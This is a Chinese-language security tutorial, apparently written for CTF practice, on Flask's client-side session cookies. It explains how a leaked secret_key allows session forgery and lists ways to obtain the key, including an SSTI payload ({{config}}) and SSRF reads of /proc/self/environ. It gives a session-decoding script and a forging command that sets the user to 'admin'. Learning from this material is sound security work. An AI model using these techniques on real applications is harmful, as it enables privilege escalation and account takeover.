客户端 Session

一般情况下,在 PHP 开发中,$_SESSION 变量的内容默认会被保存在服务端的一个文件中,并使用一个叫 PHPSESSID 的 Cookie 的值来区分不同用户的 session。由于这类 Session 的内容存储在服务端,所以这类 Session 是 “服务端 Session”,而用户在 Cookie 中看到的只是 Session 的名称(一个随机字符串)。

然而,并不是所有语言都有默认的 Session 存储机制,也不是任何情况下我们都可以向服务器写入文件。比如对于 Flask 框架,就将 Session 存储在了客户端的 Cookie 中。

因为 Cookie 实际上是存储在客户端(浏览器)中的,所以这类 Session 被称为 “客户端 Session”。而将 Session 存储在客户端 Cookie 中,最重要的就是解决 Session 不能被篡改的问题。

Flask 对 Session 的处理机制的主要过程如下:

  1. json.dumps 将对象转换成 json 字符串,作为数据
  2. 如果数据压缩后长度更短,则用 zlib 库进行压缩
  3. 将数据进行 Base64 编码
  4. 通过 hmac 算法计算数据的签名,将签名附在数据后,并用 . 分割

最后经过 Flask 处理的 Session 字符串的格式为:

1
2
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
# 例如: eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XzTQmw.3MN2SDWfDYfp6d3JwFziNcK2NwQ

Flask Session 伪造

Flask 是把 Session 存在客户端的,而且只经过 Base64 编码和用密钥签名。在进行 Session 的签名时需要用到一个预先设置的全局变量 secret_key ,而如果此时泄露了 secret_key ,攻击者就可以利用泄露的 secret_key 伪造签名,从而伪造出攻击者想要的 Flask Session。

通常情况下获取 secret_key 的方法有以下几种:

  • 网站某处泄露获取
  • 通过 SSTI 漏洞获取,如 /{{config}}
  • 通过 SSRF 读取存在 secret_key 的 Flask 配置文件或读取 /proc/self/environ 获取
  • 爆破

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# decode.py
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

执行

1
python3 decode.py ".eJw9kMGKwjAURX9leGsXNWM3gguHVKnwXrCkhmQjaqtp2ihUJU7Ef58ig-tzOZd7n7A99vXVwvTW3-sRbJsKpk_42sMUxHJldbStUXki-KYjl0fi84nxC4-u8kLpoGPVEl91mpWJUWtGsmiQL6yWZTJwRp4suYH7IevalHgWjcwZRf0gXjUks1TH9YPipkNVOK3KSO5ncJsGPQbklSefBSN1Sh4jSgzEdRD8MCGWBVwWjeA4g9cIDtf-uL1d2vr8mUDOOmLUolp1QuIv8ZJpubHo5qmQ5TfJNkWFkd61J4bOdGY9e-savzvVH9Ne5aH4J-edHwAEe9n5BkZwv9b9-zgYJ_D6A6rfbpQ.YIf05Q.JSosWcpGNzrOtCqWZPupfztjIwg"

工具: flask-session-cookie-manager

有了 secret_key 之后,我们便可以开始伪造 Session 了

1
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'8bac8deb485e623408faf27f9f0c7d42ece4ed654b01aa549f66ca62ebf0b99413e2676147b519c4175e1dcae360f9fb2c007f6a0e696c31304608787a00db83', 'csrf_token': b'68c7cd1be932456a5a2099575991c35e368626ee', 'image': b'mb0E', 'name': 'admin', 'user_id': '10'}"

例题: https://www.cnblogs.com/GTL-JU/p/16960460.html